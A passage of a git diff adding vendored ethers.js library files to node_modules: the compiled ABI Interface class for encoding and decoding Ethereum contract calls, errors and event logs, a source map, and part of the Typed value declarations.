this.#events.get(fragments_js_1.EventFragment.from(key).format()); + if (result) { + return result; + } + return null; + } + /** + * Get the event name for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + */ + getEventName(key) { + const fragment = this.#getEvent(key, null, false); + (0, index_js_3.assertArgument)(fragment, "no matching event", "key", key); + return fragment.name; + } + /** + * Returns true if %%key%% (an event topic hash, event name or + * event signature) is present in the ABI. + * + * In the case of an event name, the name may be ambiguous, so + * accessing the [[EventFragment]] may require refinement. + */ + hasEvent(key) { + return !!this.#getEvent(key, null, false); + } + /** + * Get the [[EventFragment]] for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple events match by name. + * + * If the %%key%% and %%values%% do not refine to a single event in + * the ABI, this will throw. + */ + getEvent(key, values) { + return this.#getEvent(key, values || null, true); + } + /** + * Iterate over all events, calling %%callback%%, sorted by their name. + */ + forEachEvent(callback) { + const names = Array.from(this.#events.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#events.get(name)), i); + } + } + /** + * Get the [[ErrorFragment]] for %%key%%, which may be an error + * selector, error name or error signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple errors match by name. + * + * If the %%key%% and %%values%% do not refine to a single error in + * the ABI, this will throw. + */ + getError(key, values) { + if ((0, index_js_3.isHexString)(key)) { + const selector = key.toLowerCase(); + if (BuiltinErrors[selector]) { + return fragments_js_1.ErrorFragment.from(BuiltinErrors[selector].signature); + } + for (const fragment of this.#errors.values()) { + if (selector === fragment.selector) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#errors) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (matching.length === 0) { + if (key === "Error") { + return fragments_js_1.ErrorFragment.from("error Error(string)"); + } + if (key === "Panic") { + return fragments_js_1.ErrorFragment.from("error Panic(uint256)"); + } + return null; + } + else if (matching.length > 1) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + (0, index_js_3.assertArgument)(false, `ambiguous error description (i.e. ${matchStr})`, "name", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + key = fragments_js_1.ErrorFragment.from(key).format(); + if (key === "Error(string)") { + return fragments_js_1.ErrorFragment.from("error Error(string)"); + } + if (key === "Panic(uint256)") { + return fragments_js_1.ErrorFragment.from("error Panic(uint256)"); + } + const result = this.#errors.get(key); + if (result) { + return result; + } + return null; + } + /** + * Iterate over all errors, calling %%callback%%, sorted by their name. + */ + forEachError(callback) { + const names = Array.from(this.#errors.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#errors.get(name)), i); + } + } + // Get the 4-byte selector used by Solidity to identify a function + /* +getSelector(fragment: ErrorFragment | FunctionFragment): string { + if (typeof(fragment) === "string") { + const matches: Array = [ ]; + + try { matches.push(this.getFunction(fragment)); } catch (error) { } + try { matches.push(this.getError(fragment)); } catch (_) { } + + if (matches.length === 0) { + logger.throwArgumentError("unknown fragment", "key", fragment); + } else if (matches.length > 1) { + logger.throwArgumentError("ambiguous fragment matches function and error", "key", fragment); + } + + fragment = matches[0]; + } + + return dataSlice(id(fragment.format()), 0, 4); +} + */ + // Get the 32-byte topic hash used by Solidity to identify an event + /* + getEventTopic(fragment: EventFragment): string { + //if (typeof(fragment) === "string") { fragment = this.getEvent(eventFragment); } + return id(fragment.format()); + } + */ + _decodeParams(params, data) { + return this.#abiCoder.decode(params, data); + } + _encodeParams(params, values) { + return this.#abiCoder.encode(params, values); + } + /** + * Encodes a ``tx.data`` object for deploying the Contract with + * the %%values%% as the constructor arguments. + */ + encodeDeploy(values) { + return this._encodeParams(this.deploy.inputs, values || []); + } + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified error (see [[getError]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeErrorResult(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getError(fragment); + (0, index_js_3.assertArgument)(f, "unknown error", "fragment", fragment); + fragment = f; + } + (0, index_js_3.assertArgument)((0, index_js_3.dataSlice)(data, 0, 4) === fragment.selector, `data signature does not match error ${fragment.name}.`, "data", data); + return this._decodeParams(fragment.inputs, (0, index_js_3.dataSlice)(data, 4)); + } + /** + * Encodes the transaction revert data for a call result that + * reverted from the the Contract with the sepcified %%error%% + * (see [[getError]] for valid values for %%fragment%%) with the %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeErrorResult(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getError(fragment); + (0, index_js_3.assertArgument)(f, "unknown error", "fragment", fragment); + fragment = f; + } + return (0, index_js_3.concat)([ + fragment.selector, + this._encodeParams(fragment.inputs, values || []) + ]); + } + /** + * Decodes the %%data%% from a transaction ``tx.data`` for + * the function specified (see [[getFunction]] for valid values + * for %%fragment%%). + * + * Most developers should prefer the [[parseTransaction]] method + * instead, which will automatically detect the fragment. + */ + decodeFunctionData(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + (0, index_js_3.assertArgument)(f, "unknown function", "fragment", fragment); + fragment = f; + } + (0, index_js_3.assertArgument)((0, index_js_3.dataSlice)(data, 0, 4) === fragment.selector, `data signature does not match function ${fragment.name}.`, "data", data); + return this._decodeParams(fragment.inputs, (0, index_js_3.dataSlice)(data, 4)); + } + /** + * Encodes the ``tx.data`` for a transaction that calls the function + * specified (see [[getFunction]] for valid values for %%fragment%%) with + * the %%values%%. + */ + encodeFunctionData(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + (0, index_js_3.assertArgument)(f, "unknown function", "fragment", fragment); + fragment = f; + } + return (0, index_js_3.concat)([ + fragment.selector, + this._encodeParams(fragment.inputs, values || []) + ]); + } + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeFunctionResult(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + (0, index_js_3.assertArgument)(f, "unknown function", "fragment", fragment); + fragment = f; + } + let message = "invalid length for result data"; + const bytes = (0, index_js_3.getBytesCopy)(data); + if ((bytes.length % 32) === 0) { + try { + return this.#abiCoder.decode(fragment.outputs, bytes); + } + catch (error) { + message = "could not decode result data"; + } + } + // Call returned data with no error, but the data is junk + (0, index_js_3.assert)(false, message, "BAD_DATA", { + value: (0, index_js_3.hexlify)(bytes), + info: { method: fragment.name, signature: fragment.format() } + }); + } + makeError(_data, tx) { + const data = (0, index_js_3.getBytes)(_data, "data"); + const error = abi_coder_js_1.AbiCoder.getBuiltinCallException("call", tx, data); + // Not a built-in error; try finding a custom error + const customPrefix = "execution reverted (unknown custom error)"; + if (error.message.startsWith(customPrefix)) { + const selector = (0, index_js_3.hexlify)(data.slice(0, 4)); + const ef = this.getError(selector); + if (ef) { + try { + const args = this.#abiCoder.decode(ef.inputs, data.slice(4)); + error.revert = { + name: ef.name, signature: ef.format(), args + }; + error.reason = error.revert.signature; + error.message = `execution reverted: ${error.reason}`; + } + catch (e) { + error.message = `execution reverted (coult not decode custom error)`; + } + } + } + // Add the invocation, if available + const parsed = this.parseTransaction(tx); + if (parsed) { + error.invocation = { + method: parsed.name, + signature: parsed.signature, + args: parsed.args + }; + } + return error; + } + /** + * Encodes the result data (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values + * for %%fragment%%) with %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeFunctionResult(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + (0, index_js_3.assertArgument)(f, "unknown function", "fragment", fragment); + fragment = f; + } + return (0, index_js_3.hexlify)(this.#abiCoder.encode(fragment.outputs, values || [])); + } + /* + spelunk(inputs: Array, values: ReadonlyArray, processfunc: (type: string, value: any) => Promise): Promise> { + const promises: Array> = [ ]; + const process = function(type: ParamType, value: any): any { + if (type.baseType === "array") { + return descend(type.child + } + if (type. === "address") { + } + }; + + const descend = function (inputs: Array, values: ReadonlyArray) { + if (inputs.length !== values.length) { throw new Error("length mismatch"); } + + }; + + const result: Array = [ ]; + values.forEach((value, index) => { + if (value == null) { + topics.push(null); + } else if (param.baseType === "array" || param.baseType === "tuple") { + logger.throwArgumentError("filtering with tuples or arrays not supported", ("contract." + param.name), value); + } else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } else { + topics.push(encodeTopic(param, value)); + } + }); + } + */ + // Create the filter for the event with search criteria (e.g. for eth_filterLog) + encodeFilterTopics(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + (0, index_js_3.assertArgument)(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + (0, index_js_3.assert)(values.length <= fragment.inputs.length, `too many arguments for ${fragment.format()}`, "UNEXPECTED_ARGUMENT", { count: values.length, expectedCount: fragment.inputs.length }); + const topics = []; + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + // @TODO: Use the coders for this; to properly support tuples, etc. + const encodeTopic = (param, value) => { + if (param.type === "string") { + return (0, index_js_2.id)(value); + } + else if (param.type === "bytes") { + return (0, index_js_1.keccak256)((0, index_js_3.hexlify)(value)); + } + if (param.type === "bool" && typeof (value) === "boolean") { + value = (value ? "0x01" : "0x00"); + } + else if (param.type.match(/^u?int/)) { + value = (0, index_js_3.toBeHex)(value); // @TODO: Should this toTwos?? + } + else if (param.type.match(/^bytes/)) { + value = (0, index_js_3.zeroPadBytes)(value, 32); + } + else if (param.type === "address") { + // Check addresses are valid + this.#abiCoder.encode(["address"], [value]); + } + return (0, index_js_3.zeroPadValue)((0, index_js_3.hexlify)(value), 32); + }; + values.forEach((value, index) => { + const param = fragment.inputs[index]; + if (!param.indexed) { + (0, index_js_3.assertArgument)(value == null, "cannot filter non-indexed parameters; must be null", ("contract." + param.name), value); + return; + } + if (value == null) { + topics.push(null); + } + else if (param.baseType === "array" || param.baseType === "tuple") { + (0, index_js_3.assertArgument)(false, "filtering with tuples or arrays not supported", ("contract." + param.name), value); + } + else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } + else { + topics.push(encodeTopic(param, value)); + } + }); + // Trim off trailing nulls + while (topics.length && topics[topics.length - 1] === null) { + topics.pop(); + } + return topics; + } + encodeEventLog(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + (0, index_js_3.assertArgument)(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + const topics = []; + const dataTypes = []; + const dataValues = []; + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + (0, index_js_3.assertArgument)(values.length === fragment.inputs.length, "event arguments/values mismatch", "values", values); + fragment.inputs.forEach((param, index) => { + const value = values[index]; + if (param.indexed) { + if (param.type === "string") { + topics.push((0, index_js_2.id)(value)); + } + else if (param.type === "bytes") { + topics.push((0, index_js_1.keccak256)(value)); + } + else if (param.baseType === "tuple" || param.baseType === "array") { + // @TODO + throw new Error("not implemented"); + } + else { + topics.push(this.#abiCoder.encode([param.type], [value])); + } + } + else { + dataTypes.push(param); + dataValues.push(value); + } + }); + return { + data: this.#abiCoder.encode(dataTypes, dataValues), + topics: topics + }; + } + // Decode a filter for the event and the search criteria + decodeEventLog(fragment, data, topics) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + (0, index_js_3.assertArgument)(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + if (topics != null && !fragment.anonymous) { + const eventTopic = fragment.topicHash; + (0, index_js_3.assertArgument)((0, index_js_3.isHexString)(topics[0], 32) && topics[0].toLowerCase() === eventTopic, "fragment/topic mismatch", "topics[0]", topics[0]); + topics = topics.slice(1); + } + const indexed = []; + const nonIndexed = []; + const dynamic = []; + fragment.inputs.forEach((param, index) => { + if (param.indexed) { + if (param.type === "string" || param.type === "bytes" || param.baseType === "tuple" || param.baseType === "array") { + indexed.push(fragments_js_1.ParamType.from({ type: "bytes32", name: param.name })); + dynamic.push(true); + } + else { + indexed.push(param); + dynamic.push(false); + } + } + else { + nonIndexed.push(param); + dynamic.push(false); + } + }); + const resultIndexed = (topics != null) ? this.#abiCoder.decode(indexed, (0, index_js_3.concat)(topics)) : null; + const resultNonIndexed = this.#abiCoder.decode(nonIndexed, data, true); + //const result: (Array & { [ key: string ]: any }) = [ ]; + const values = []; + const keys = []; + let nonIndexedIndex = 0, indexedIndex = 0; + fragment.inputs.forEach((param, index) => { + let value = null; + if (param.indexed) { + if (resultIndexed == null) { + value = new Indexed(null); + } + else if (dynamic[index]) { + value = new Indexed(resultIndexed[indexedIndex++]); + } + else { + try { + value = resultIndexed[indexedIndex++]; + } + catch (error) { + value = error; + } + } + } + else { + try { + value = resultNonIndexed[nonIndexedIndex++]; + } + catch (error) { + value = error; + } + } + values.push(value); + keys.push(param.name || null); + }); + return abstract_coder_js_1.Result.fromItems(values, keys); + } + /** + * Parses a transaction, finding the matching function and extracts + * the parameter values along with other useful function details. + * + * If the matching function cannot be found, return null. + */ + parseTransaction(tx) { + const data = (0, index_js_3.getBytes)(tx.data, "tx.data"); + const value = (0, index_js_3.getBigInt)((tx.value != null) ? tx.value : 0, "tx.value"); + const fragment = this.getFunction((0, index_js_3.hexlify)(data.slice(0, 4))); + if (!fragment) { + return null; + } + const args = this.#abiCoder.decode(fragment.inputs, data.slice(4)); + return new TransactionDescription(fragment, fragment.selector, args, value); + } + parseCallResult(data) { + throw new Error("@TODO"); + } + /** + * Parses a receipt log, finding the matching event and extracts + * the parameter values along with other useful event details. + * + * If the matching event cannot be found, returns null. + */ + parseLog(log) { + const fragment = this.getEvent(log.topics[0]); + if (!fragment || fragment.anonymous) { + return null; + } + // @TODO: If anonymous, and the only method, and the input count matches, should we parse? + // Probably not, because just because it is the only event in the ABI does + // not mean we have the full ABI; maybe just a fragment? + return new LogDescription(fragment, fragment.topicHash, this.decodeEventLog(fragment, log.data, log.topics)); + } + /** + * Parses a revert data, finding the matching error and extracts + * the parameter values along with other useful error details. + * + * If the matching error cannot be found, returns null. + */ + parseError(data) { + const hexData = (0, index_js_3.hexlify)(data); + const fragment = this.getError((0, index_js_3.dataSlice)(hexData, 0, 4)); + if (!fragment) { + return null; + } + const args = this.#abiCoder.decode(fragment.inputs, (0, index_js_3.dataSlice)(hexData, 4)); + return new ErrorDescription(fragment, fragment.selector, args); + } + /** + * Creates a new [[Interface]] from the ABI %%value%%. + * + * The %%value%% may be provided as an existing [[Interface]] object, + * a JSON-encoded ABI or any Human-Readable ABI format. + */ + static from(value) { + // Already an Interface, which is immutable + if (value instanceof Interface) { + return value; + } + // JSON + if (typeof (value) === "string") { + return new Interface(JSON.parse(value)); + } + // An Interface; possibly from another v6 instance + if (typeof (value.formatJson) === "function") { + return new Interface(value.formatJson()); + } + // A legacy Interface; from an older version + if (typeof (value.format) === "function") { + return new Interface(value.format("json")); + } + // Array of fragments + return new Interface(value); + } +} +exports.Interface = Interface; +//# sourceMappingURL=interface.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/interface.js.map b/node_modules/ethers/lib.commonjs/abi/interface.js.map new file mode 100644 index 000000000000..048c213c92b7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/interface.js.map @@ -0,0 +1 @@ +{"version":3,"file":"interface.js","sourceRoot":"","sources":["../../src.ts/abi/interface.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;;AAEH,iDAA8C;AAC9C,+CAAqC;AACrC,gDAI2B;AAE3B,iDAA0C;AAC1C,kEAAuE;AAY9D,kGAZA,qCAAiB,OAYA;AAAE,uFAZA,0BAAM,OAYA;AAXlC,iDAGwB;AACxB,yCAAmC;AASnC;;;GAGG;AACH,MAAa,cAAc;IACvB;;OAEG;IACM,QAAQ,CAAiB;IAElC;;OAEG;IACM,IAAI,CAAU;IAEvB;;OAEG;IACM,SAAS,CAAU;IAE5B;;OAEG;IACM,KAAK,CAAU;IAExB;;OAEG;IACM,IAAI,CAAS;IAEtB;;OAEG;IACH,YAAY,QAAuB,EAAE,KAAa,EAAE,IAAY;QAC5D,MAAM,IAAI,GAAG,QAAQ,CAAC,IAAI,EAAE,SAAS,GAAG,QAAQ,CAAC,MAAM,EAAE,CAAC;QAC1D,IAAA,2BAAgB,EAAiB,IAAI,EAAE;YACnC,QAAQ,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,IAAI;SACzC,CAAC,CAAC;IACP,CAAC;CACJ;AAnCD,wCAmCC;AAED;;;;GAIG;AACH,MAAa,sBAAsB;IAC/B;;OAEG;IAC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CAAC;IAChC,CAAC;CACJ;AAh9BD,8BAg9BC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/typed.d.ts b/node_modules/ethers/lib.commonjs/abi/typed.d.ts new file mode 100644 index 000000000000..8707a62fd314 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/typed.d.ts @@ -0,0 +1,570 @@ +/** + * A Typed object allows a value to have its type explicitly + * specified. + * + * For example, in Solidity, the value ``45`` could represent a + * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent + * a ``bytes2`` or ``bytes``. + * + * Since JavaScript has no meaningful way to explicitly inform any + * APIs which what the type is, this allows transparent interoperation + * with Soldity. + * + * @_subsection: api/abi:Typed Values + */ +import type { Addressable } from "../address/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; +import type { Result } from "./coders/abstract-coder.js"; +/** + * @_ignore: + */ +export interface TypedNumber extends Typed { + value: number; + defaultValue(): number; + minValue(): number; + maxValue(): number; +} +/** + * A **Typed** that represents a numeric value. + */ +export interface TypedBigInt extends Typed { + /** + * The value. + */ + value: bigint; + /** + * The default value for all numeric types is ``0``. + */ + defaultValue(): bigint; + /** + * The minimum value for this type, accounting for bit-width and signed-ness. + */ + minValue(): bigint; + /** + * The minimum value for this type, accounting for bit-width. + */ + maxValue(): bigint; +} +/** + * A **Typed** that represents a binary sequence of data as bytes. + */ +export interface TypedData extends Typed { + /** + * The value. + */ + value: string; + /** + * The default value for this type. + */ + defaultValue(): string; +} +/** + * A **Typed** that represents a UTF-8 sequence of bytes. + */ +export interface TypedString extends Typed { + /** + * The value. + */ + value: string; + /** + * The default value for the string type is the empty string (i.e. ``""``). + */ + defaultValue(): string; +} +/** + * The **Typed** class to wrap values providing explicit type information. + */ +export declare class Typed { + #private; + /** + * The type, as a Solidity-compatible type. + */ + readonly type: string; + /** + * The actual value. + */ + readonly value: any; + /** + * @_ignore: + */ + readonly _typedSymbol: Symbol; + /** + * @_ignore: + */ + constructor(gaurd: any, type: string, value: any, options?: any); + /** + * Format the type as a Human-Readable type. + */ + format(): string; + /** + * The default value returned by this type. + */ + defaultValue(): string | number | bigint | Result; + /** + * The minimum value for numeric types. + */ + minValue(): string | number | bigint; + /** + * The maximum value for numeric types. + */ + maxValue(): string | number | bigint; + /** + * Returns ``true`` and provides a type guard is this is a [[TypedBigInt]]. + */ + isBigInt(): this is TypedBigInt; + /** + * Returns ``true`` and provides a type guard is this is a [[TypedData]]. + */ + isData(): this is TypedData; + /** + * Returns ``true`` and provides a type guard is this is a [[TypedString]]. + */ + isString(): this is TypedString; + /** + * Returns the tuple name, if this is a tuple. Throws otherwise. + */ + get tupleName(): null | string; + /** + * Returns the length of the array type or ``-1`` if it is dynamic. + * + * Throws if the type is not an array. + */ + get arrayLength(): null | number; + /** + * Returns a new **Typed** of %%type%% with the %%value%%. + */ + static from(type: string, value: any): Typed; + /** + * Return a new ``uint8`` type for %%v%%. + */ + static uint8(v: BigNumberish): Typed; + /** + * Return a new ``uint16`` type for %%v%%. + */ + static uint16(v: BigNumberish): Typed; + /** + * Return a new ``uint24`` type for %%v%%. + */ + static uint24(v: BigNumberish): Typed; + /** + * Return a new ``uint32`` type for %%v%%. + */ + static uint32(v: BigNumberish): Typed; + /** + * Return a new ``uint40`` type for %%v%%. + */ + static uint40(v: BigNumberish): Typed; + /** + * Return a new ``uint48`` type for %%v%%. + */ + static uint48(v: BigNumberish): Typed; + /** + * Return a new ``uint56`` type for %%v%%. + */ + static uint56(v: BigNumberish): Typed; + /** + * Return a new ``uint64`` type for %%v%%. + */ + static uint64(v: BigNumberish): Typed; + /** + * Return a new ``uint72`` type for %%v%%. + */ + static uint72(v: BigNumberish): Typed; + /** + * Return a new ``uint80`` type for %%v%%. + */ + static uint80(v: BigNumberish): Typed; + /** + * Return a new ``uint88`` type for %%v%%. + */ + static uint88(v: BigNumberish): Typed; + /** + * Return a new ``uint96`` type for %%v%%. + */ + static uint96(v: BigNumberish): Typed; + /** + * Return a new ``uint104`` type for %%v%%. + */ + static uint104(v: BigNumberish): Typed; + /** + * Return a new ``uint112`` type for %%v%%. + */ + static uint112(v: BigNumberish): Typed; + /** + * Return a new ``uint120`` type for %%v%%. + */ + static uint120(v: BigNumberish): Typed; + /** + * Return a new ``uint128`` type for %%v%%. + */ + static uint128(v: BigNumberish): Typed; + /** + * Return a new ``uint136`` type for %%v%%. + */ + static uint136(v: BigNumberish): Typed; + /** + * Return a new ``uint144`` type for %%v%%. + */ + static uint144(v: BigNumberish): Typed; + /** + * Return a new ``uint152`` type for %%v%%. + */ + static uint152(v: BigNumberish): Typed; + /** + * Return a new ``uint160`` type for %%v%%. + */ + static uint160(v: BigNumberish): Typed; + /** + * Return a new ``uint168`` type for %%v%%. + */ + static uint168(v: BigNumberish): Typed; + /** + * Return a new ``uint176`` type for %%v%%. + */ + static uint176(v: BigNumberish): Typed; + /** + * Return a new ``uint184`` type for %%v%%. + */ + static uint184(v: BigNumberish): Typed; + /** + * Return a new ``uint192`` type for %%v%%. + */ + static uint192(v: BigNumberish): Typed; + /** + * Return a new ``uint200`` type for %%v%%. + */ + static uint200(v: BigNumberish): Typed; + /** + * Return a new ``uint208`` type for %%v%%. + */ + static uint208(v: BigNumberish): Typed; + /** + * Return a new ``uint216`` type for %%v%%. + */ + static uint216(v: BigNumberish): Typed; + /** + * Return a new ``uint224`` type for %%v%%. + */ + static uint224(v: BigNumberish): Typed; + /** + * Return a new ``uint232`` type for %%v%%. + */ + static uint232(v: BigNumberish): Typed; + /** + * Return a new ``uint240`` type for %%v%%. + */ + static uint240(v: BigNumberish): Typed; + /** + * Return a new ``uint248`` type for %%v%%. + */ + static uint248(v: BigNumberish): Typed; + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint256(v: BigNumberish): Typed; + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint(v: BigNumberish): Typed; + /** + * Return a new ``int8`` type for %%v%%. + */ + static int8(v: BigNumberish): Typed; + /** + * Return a new ``int16`` type for %%v%%. + */ + static int16(v: BigNumberish): Typed; + /** + * Return a new ``int24`` type for %%v%%. + */ + static int24(v: BigNumberish): Typed; + /** + * Return a new ``int32`` type for %%v%%. + */ + static int32(v: BigNumberish): Typed; + /** + * Return a new ``int40`` type for %%v%%. + */ + static int40(v: BigNumberish): Typed; + /** + * Return a new ``int48`` type for %%v%%. + */ + static int48(v: BigNumberish): Typed; + /** + * Return a new ``int56`` type for %%v%%. + */ + static int56(v: BigNumberish): Typed; + /** + * Return a new ``int64`` type for %%v%%. + */ + static int64(v: BigNumberish): Typed; + /** + * Return a new ``int72`` type for %%v%%. + */ + static int72(v: BigNumberish): Typed; + /** + * Return a new ``int80`` type for %%v%%. + */ + static int80(v: BigNumberish): Typed; + /** + * Return a new ``int88`` type for %%v%%. + */ + static int88(v: BigNumberish): Typed; + /** + * Return a new ``int96`` type for %%v%%. + */ + static int96(v: BigNumberish): Typed; + /** + * Return a new ``int104`` type for %%v%%. + */ + static int104(v: BigNumberish): Typed; + /** + * Return a new ``int112`` type for %%v%%. + */ + static int112(v: BigNumberish): Typed; + /** + * Return a new ``int120`` type for %%v%%. + */ + static int120(v: BigNumberish): Typed; + /** + * Return a new ``int128`` type for %%v%%. + */ + static int128(v: BigNumberish): Typed; + /** + * Return a new ``int136`` type for %%v%%. + */ + static int136(v: BigNumberish): Typed; + /** + * Return a new ``int144`` type for %%v%%. + */ + static int144(v: BigNumberish): Typed; + /** + * Return a new ``int52`` type for %%v%%. + */ + static int152(v: BigNumberish): Typed; + /** + * Return a new ``int160`` type for %%v%%. + */ + static int160(v: BigNumberish): Typed; + /** + * Return a new ``int168`` type for %%v%%. + */ + static int168(v: BigNumberish): Typed; + /** + * Return a new ``int176`` type for %%v%%. + */ + static int176(v: BigNumberish): Typed; + /** + * Return a new ``int184`` type for %%v%%. + */ + static int184(v: BigNumberish): Typed; + /** + * Return a new ``int92`` type for %%v%%. + */ + static int192(v: BigNumberish): Typed; + /** + * Return a new ``int200`` type for %%v%%. + */ + static int200(v: BigNumberish): Typed; + /** + * Return a new ``int208`` type for %%v%%. + */ + static int208(v: BigNumberish): Typed; + /** + * Return a new ``int216`` type for %%v%%. + */ + static int216(v: BigNumberish): Typed; + /** + * Return a new ``int224`` type for %%v%%. + */ + static int224(v: BigNumberish): Typed; + /** + * Return a new ``int232`` type for %%v%%. + */ + static int232(v: BigNumberish): Typed; + /** + * Return a new ``int240`` type for %%v%%. + */ + static int240(v: BigNumberish): Typed; + /** + * Return a new ``int248`` type for %%v%%. + */ + static int248(v: BigNumberish): Typed; + /** + * Return a new ``int256`` type for %%v%%. + */ + static int256(v: BigNumberish): Typed; + /** + * Return a new ``int256`` type for %%v%%. + */ + static int(v: BigNumberish): Typed; + /** + * Return a new ``bytes1`` type for %%v%%. + */ + static bytes1(v: BytesLike): Typed; + /** + * Return a new ``bytes2`` type for %%v%%. + */ + static bytes2(v: BytesLike): Typed; + /** + * Return a new ``bytes3`` type for %%v%%. + */ + static bytes3(v: BytesLike): Typed; + /** + * Return a new ``bytes4`` type for %%v%%. + */ + static bytes4(v: BytesLike): Typed; + /** + * Return a new ``bytes5`` type for %%v%%. + */ + static bytes5(v: BytesLike): Typed; + /** + * Return a new ``bytes6`` type for %%v%%. + */ + static bytes6(v: BytesLike): Typed; + /** + * Return a new ``bytes7`` type for %%v%%. + */ + static bytes7(v: BytesLike): Typed; + /** + * Return a new ``bytes8`` type for %%v%%. + */ + static bytes8(v: BytesLike): Typed; + /** + * Return a new ``bytes9`` type for %%v%%. + */ + static bytes9(v: BytesLike): Typed; + /** + * Return a new ``bytes10`` type for %%v%%. + */ + static bytes10(v: BytesLike): Typed; + /** + * Return a new ``bytes11`` type for %%v%%. + */ + static bytes11(v: BytesLike): Typed; + /** + * Return a new ``bytes12`` type for %%v%%. + */ + static bytes12(v: BytesLike): Typed; + /** + * Return a new ``bytes13`` type for %%v%%. + */ + static bytes13(v: BytesLike): Typed; + /** + * Return a new ``bytes14`` type for %%v%%. + */ + static bytes14(v: BytesLike): Typed; + /** + * Return a new ``bytes15`` type for %%v%%. + */ + static bytes15(v: BytesLike): Typed; + /** + * Return a new ``bytes16`` type for %%v%%. + */ + static bytes16(v: BytesLike): Typed; + /** + * Return a new ``bytes17`` type for %%v%%. + */ + static bytes17(v: BytesLike): Typed; + /** + * Return a new ``bytes18`` type for %%v%%. + */ + static bytes18(v: BytesLike): Typed; + /** + * Return a new ``bytes19`` type for %%v%%. + */ + static bytes19(v: BytesLike): Typed; + /** + * Return a new ``bytes20`` type for %%v%%. + */ + static bytes20(v: BytesLike): Typed; + /** + * Return a new ``bytes21`` type for %%v%%. + */ + static bytes21(v: BytesLike): Typed; + /** + * Return a new ``bytes22`` type for %%v%%. + */ + static bytes22(v: BytesLike): Typed; + /** + * Return a new ``bytes23`` type for %%v%%. + */ + static bytes23(v: BytesLike): Typed; + /** + * Return a new ``bytes24`` type for %%v%%. + */ + static bytes24(v: BytesLike): Typed; + /** + * Return a new ``bytes25`` type for %%v%%. + */ + static bytes25(v: BytesLike): Typed; + /** + * Return a new ``bytes26`` type for %%v%%. + */ + static bytes26(v: BytesLike): Typed; + /** + * Return a new ``bytes27`` type for %%v%%. + */ + static bytes27(v: BytesLike): Typed; + /** + * Return a new ``bytes28`` type for %%v%%. + */ + static bytes28(v: BytesLike): Typed; + /** + * Return a new ``bytes29`` type for %%v%%. + */ + static bytes29(v: BytesLike): Typed; + /** + * Return a new ``bytes30`` type for %%v%%. + */ + static bytes30(v: BytesLike): Typed; + /** + * Return a new ``bytes31`` type for %%v%%. + */ + static bytes31(v: BytesLike): Typed; + /** + * Return a new ``bytes32`` type for %%v%%. + */ + static bytes32(v: BytesLike): Typed; + /** + * Return a new ``address`` type for %%v%%. + */ + static address(v: string | Addressable): Typed; + /** + * Return a new ``bool`` type for %%v%%. + */ + static bool(v: any): Typed; + /** + * Return a new ``bytes`` type for %%v%%. + */ + static bytes(v: BytesLike): Typed; + /** + * Return a new ``string`` type for %%v%%. + */ + static string(v: string): Typed; + /** + * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length. + */ + static array(v: Array, dynamic?: null | boolean): Typed; + /** + * Return a new ``tuple`` type for %%v%%, with the optional %%name%%. + */ + static tuple(v: Array | Record, name?: string): Typed; + /** + * Return a new ``uint8`` type for %%v%%. + */ + static overrides(v: Record): Typed; + /** + * Returns true only if %%value%% is a [[Typed]] instance. + */ + static isTyped(value: any): value is Typed; + /** + * If the value is a [[Typed]] instance, validates the underlying value + * and returns it, otherwise returns value directly. + * + * This is useful for functions that with to accept either a [[Typed]] + * object or values. + */ + static dereference(value: 